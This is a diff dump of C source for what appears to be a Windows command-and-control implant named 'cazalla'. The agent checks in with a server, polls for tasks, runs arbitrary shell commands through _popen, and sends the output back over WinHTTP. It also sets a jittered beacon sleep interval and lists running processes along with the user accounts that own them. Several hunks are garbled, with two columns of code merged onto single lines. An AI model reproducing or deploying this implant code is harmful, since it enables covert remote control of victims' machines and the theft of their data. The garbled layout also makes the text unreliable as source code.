PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); _dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
if (tarea == SHELL_CMD) PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
{
ejecutarConsola(analizadorTarea); if (tarea == SHELL_CMD)
} {
else if (tarea == EXIT_CMD) { ejecutarConsola(analizadorTarea);
cerrarCallback(analizadorTarea); }
}else if(tarea == SLEEP_CMD){ else if (tarea == EXIT_CMD) {
sleep(analizadorTarea); cerrarCallback(analizadorTarea);
} }else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
} }else if(tarea == PROCESS_CMD){
return TRUE; listarProcesos(analizadorTarea);
} }
}
BOOL commandDispatch(PAnalizador respuesta) { return TRUE;
}
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) { BOOL commandDispatch(PAnalizador respuesta) {
return handleGetTasking(respuesta);
} BYTE tipoRespuesta = getByte(respuesta);
else if (tipoRespuesta == POST_RESPONSE) { if (tipoRespuesta == GET_TASKING) {
return TRUE; return handleGetTasking(respuesta);
} }
return TRUE; else if (tipoRespuesta == POST_RESPONSE) {
} return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) { return TRUE;
}
if (getByte(respuestaAnalizador) != CHECKIN) {
BOOL parseChecking(PAnalizador respuestaAnalizador) {
liberarAnalizador(respuestaAnalizador);
return FALSE; if (getByte(respuestaAnalizador) != CHECKIN) {
}
liberarAnalizador(respuestaAnalizador);
SIZE_T tamanoUuid = 36; return FALSE;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); }
setUUID(nuevoUuid);
SIZE_T tamanoUuid = 36;
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
liberarAnalizador(respuestaAnalizador);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
return TRUE;
} liberarAnalizador(respuestaAnalizador);
BOOL rutina() { return TRUE;
}
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS); BOOL rutina() {
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
// sin respuesta addInt32(obtenerTarea, NUMBER_OF_TASKS);
if (!respuestaAnalizador) {
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
return FALSE; // sin respuesta
} if (!respuestaAnalizador) {
commandDispatch(respuestaAnalizador);
return FALSE;
// Sleep }
Sleep(cazallaConfig->tiempoSleep); commandDispatch(respuestaAnalizador);
return TRUE; // Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
} }
@@ -1,26 +1,27 @@
#pragma once #pragma once
#ifndef COMMANDOS #ifndef COMMANDOS
#define COMMANDOS #define COMMANDOS
#include "analizador.h" #include "analizador.h"
#include "paquete.h" #include "paquete.h"
#include "consola.h" #include "consola.h"
#include "cerrarCallback.h" #include "cerrarCallback.h"
#include "sleep.h" #include "sleep.h"
#include "procesos.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00 #define SHELL_CMD 0x54
#define POST_RESPONSE 0x01 #define GET_TASKING 0x00
#define CHECKIN 0xf1 #define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38 #define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina(); BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif #endif
@@ -1,38 +1,38 @@
#include "consola.h" #include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) { BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36; SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid); PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos); UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0; SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano); PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp; FILE* fp;
CHAR ruta[1035]; CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE); addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida //paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE); PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb"); fp = _popen(comando, "rb");
if (!fp) { if (!fp) {
_err("[Consola] Error ejecutando el comando"); _err("[Consola] Error ejecutando el comando");
return FALSE; return FALSE;
} }
while (fgets(ruta, sizeof(ruta), fp) != NULL) { while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE); addString(salida, ruta, FALSE);
} }
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp); _pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE; return TRUE;
} }
@@ -1,7 +1,7 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include "paquete.h" #include "paquete.h"
#include "analizador.h" #include "analizador.h"
#include "comandos.h" #include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos); BOOL ejecutarConsola(PAnalizador argumentos);
@@ -1,42 +1,42 @@
#pragma once #pragma once
#include <stdio.h> #include <stdio.h>
#if defined(_DEBUG) #if defined(_DEBUG)
#define DBG "DBG" #define DBG "DBG"
#define ERR "ERR" #define ERR "ERR"
#define WRN "WRN" #define WRN "WRN"
#define INF "INF" #define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); #define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) #define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) #define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) #define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) #define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE) #elif defined(_DEBUG_RELEASE)
#define DBG #define DBG
#define ERR #define ERR
#define WRN #define WRN
#define INF #define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ #define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\ CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\ sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\ WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);} CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) #define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) #define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) #define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) #define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else #else
#define DBG #define DBG
#define ERR #define ERR
#define WRN #define WRN
#define INF #define INF
#define _log(level, format, ...) #define _log(level, format, ...)
#define _dbg(format, ...) #define _dbg(format, ...)
#define _err(format, ...) #define _err(format, ...)
#define _wrn(format, ...) #define _wrn(format, ...)
#define _inf(format, ...) #define _inf(format, ...)
#endif #endif
@@ -0,0 +1,29 @@
#include "identity.h"
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
TOKEN_USER informacionToken[0x1000];
SID_NAME_USE tipoSid;
DWORD tamanoRespuesta;
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
return FALSE;
}
CHAR nombre[0x200] = { 0 };
CHAR dominio[0x200] = { 0 };
DWORD tamanoNombre = sizeof(nombre);
DWORD tamanoDominio = sizeof(dominio);
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
return FALSE;
}
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0;
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#ifndef IDENTITY_H
#define IDENTITY_H
#include <windows.h>
extern HANDLE gTokenIdentidad;
extern BOOL gIdentidadIsLoggin;
extern WCHAR* gDominioIdentidad;
// extern WCHAR* gIdentityUsername;
// extern WCHAR* gIdentityPassword;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
//VOID IdentityImpersonateToken(void);
//VOID IdentityAgentRevertToken(void);
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
//BOOL IdentityIsAdmin(void);
#endif //IDENTITY_H
@@ -1,12 +1,12 @@
#include "cazalla.h" #include "cazalla.h"
//#ifdef _DEBUG //#ifdef _DEBUG
//int main() //int main()
//#else //#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif //#endif
{ {
cazallaMain(); cazallaMain();
return 0; return 0;
} }
@@ -1,122 +1,152 @@
#include "cazalla.h" #include "cazalla.h"
#include "paquete.h" #include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. //Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) { PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls //v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) { if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n"); _err("Error: fallo al asignar memoria para Paquete\n");
return NULL; return NULL;
} }
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE)); paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) { if (!paquete->buffer) {
return NULL; return NULL;
} }
paquete->length = 0; paquete->length = 0;
if (init) { if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE); addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando); addByte(paquete, idComando);
} }
return paquete; return paquete;
} }
VOID liberarPaquete(PPaquete paquete) { VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer); LocalFree(paquete->buffer);
LocalFree(paquete); LocalFree(paquete);
} }
PAnalizador mandarPaquete(PPaquete paquete) { PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
if (!respuesta) {
paqueteParaMandar = NULL;
paqueteParaMandar = NULL; return NULL;
return NULL; }
}
return respuesta;
return respuesta;
}
}
BOOL addByte(PPaquete paquete, BYTE byte) {
BOOL addByte(PPaquete paquete, BYTE byte) { //v2. Syscalls
//v2. Syscalls paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); if (!paquete->buffer) {
if (!paquete->buffer) { return FALSE;
return FALSE; }
} ((PBYTE)paquete->buffer + paquete->length)[0] = byte;
((PBYTE)paquete->buffer + paquete->length)[0] = byte; paquete->length += 1;
paquete->length += 1; return TRUE;
return TRUE; }
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); if (!paquete->buffer) {
if (!paquete->buffer) { return FALSE;
return FALSE; }
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); paquete->length += sizeof(UINT32);
paquete->length += sizeof(UINT32); return TRUE;
return TRUE; }
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); if (!paquete->buffer) {
if (!paquete->buffer) { return FALSE;
return FALSE; }
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); paquete->length += sizeof(UINT64);
paquete->length += sizeof(UINT64); return TRUE;
return TRUE; }
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (tamanoCopia && tamano) { if (!addInt32(paquete, tamano)) {
if (!addInt32(paquete, tamano)) { return FALSE;
return FALSE; }
} }
} if (tamano) {
if (tamano) { paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT); if (!paquete->buffer) {
if (!paquete->buffer) { return FALSE;
return FALSE; }
} if (tamanoCopia) {
if (tamanoCopia) { addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); }
} //v2.syscalls
//v2.syscalls memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); paquete->length += tamano;
paquete->length += tamano; }
} return TRUE;
return TRUE; }
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { return FALSE;
return FALSE; }
} return TRUE;
return TRUE; }
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) { return FALSE;
return FALSE; }
} return TRUE;
return TRUE; }
}
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
// Determine how much space is needed for the formatted string
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
va_end(args);
// Allocate a temporary buffer for the formatted string
char* tempBuffer = (char*)malloc(requiredLength);
if (tempBuffer == NULL)
{
return FALSE; // Memory allocation failed
}
va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args);
// Use addString to add the formatted string to the package
if (!addString(package, tempBuffer, copySize))
return FALSE;
// Free the temporary buffer
free(tempBuffer);
return TRUE;
}
@@ -1,31 +1,31 @@
#pragma once #pragma once
#ifndef PAQUETE_H #ifndef PAQUETE_H
#define PAQUETE_H #define PAQUETE_H
#include "utils.h" #include "utils.h"
#include "transporte.h" #include "transporte.h"
#include "analizador.h" #include "analizador.h"
#define TASK_COMPLETE 0x95 #define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99 #define TASK_FAILED 0x99
typedef struct { typedef struct {
PVOID buffer; PVOID buffer;
SIZE_T length; SIZE_T length;
}Paquete, * PPaquete; }Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init); PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete); VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete); PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte); BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor); BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor); BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#endif #endif
@@ -0,0 +1,111 @@
#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"
#include <tlhelp32.h>
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
if (!result) {
return FALSE;
}
CloseHandle(hToken);
return result;
}
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char nombreCuenta[2048] = { 0 };
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
char* arch;
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
if (hProcess) {
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
nombreCuenta,
sid);
}
else {
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
else {
DWORD error = GetLastError();
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(errorPaquete, tareaUuid, FALSE);
addInt32(errorPaquete, error);
mandarPaquete(errorPaquete);
liberarPaquete(errorPaquete);
goto cleanup;
}
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
if (!respuestaAnalizador) {
_err("[-] Error al mandar paquete\n");
}
liberarPaquete(respuestaTarea);
cleanup:
if (toolhelp) {
CloseHandle(toolhelp);
}
liberarPaquete(salida);
}
@@ -0,0 +1,10 @@
#pragma once
#ifndef PROCESOS_H
#define PROCESOS_H
#include <windows.h>
#include "analizador.h"
VOID listarProcesos(PAnalizador argumentos);
#endif
@@ -1,45 +1,45 @@
#include "sleep.h" #include "sleep.h"
#include "cazalla.h" #include "cazalla.h"
BOOL sleep(PAnalizador argumentos) { BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36; SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid); PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos); UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos); UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos); UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) { if (maxVarianza < 1) {
maxVarianza = 1; maxVarianza = 1;
} }
const int minVarianza = 1; const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2; const int rangoVarianza = maxVarianza / 2;
int aleatorio = aleatorioInt32(0, rangoVarianza); int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += aleatorio; tiempoSleep += Rand;
if (tiempoSleep < minVarianza) { if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza; tiempoSleep = minVarianza;
} }
if (cazallaConfig == NULL) { if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n"); _err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE; return FALSE;
} }
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000; tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep; cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE); addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep); addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea); mandarPaquete(respuestaTarea);
return TRUE; return TRUE;
} }
@@ -1,13 +1,13 @@
#pragma once #pragma once
#ifndef SLEEP_H #ifndef SLEEP_H
#define SLEEP_H #define SLEEP_H
#include <windows.h> #include <windows.h>
#include "paquete.h" #include "paquete.h"
#include "analizador.h" #include "analizador.h"
#include "comandos.h" #include "comandos.h"
#include "utils.h" #include "utils.h"
BOOL sleep(PAnalizador argumentos); BOOL sleep(PAnalizador argumentos);
#endif #endif
@@ -0,0 +1,40 @@
#include "spawn.h"
#include "analizador.h"
#include <versionhelpers.h>
#pragma warning(disable: 4996)
#define ProcessWow64Information 26
int osMajorVersion;
BOOL SelfIsWindowsVistaOrLater() {
return IsWindowsVistaOrGreater();
}
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
BOOL IsWow64ProcessEx(HANDLE hProcess) {
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL bStatus = FALSE;
BOOL Wow64Process = FALSE;
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
bStatus = _IsWow64Process(hProcess, &Wow64Process);
if (!bStatus)
{
_err("_IsWow64Process failed with status code : %d", GetLastError());
return FALSE;
}
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef NATIVE_H
#define NATIVE_H
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
BOOL IsWow64ProcessEx(HANDLE hProcess);
extern int osMajorVersion;
#endif
@@ -1,123 +1,123 @@
#include "transporte.h" #include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) { int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0; DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD); DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0; return 0;
return codigoDeEstado; return codigoDeEstado;
} }
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL; PVOID respBuffer = NULL;
DWORD respSize = 0; DWORD respSize = 0;
UCHAR buffer[1024] = { 0 }; UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy // Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 }; WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy; httpProxy = cazallaConfig->urlProxy;
} }
if (cazallaConfig->SSL) { if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE; httpFlags |= WINHTTP_FLAG_SECURE;
} }
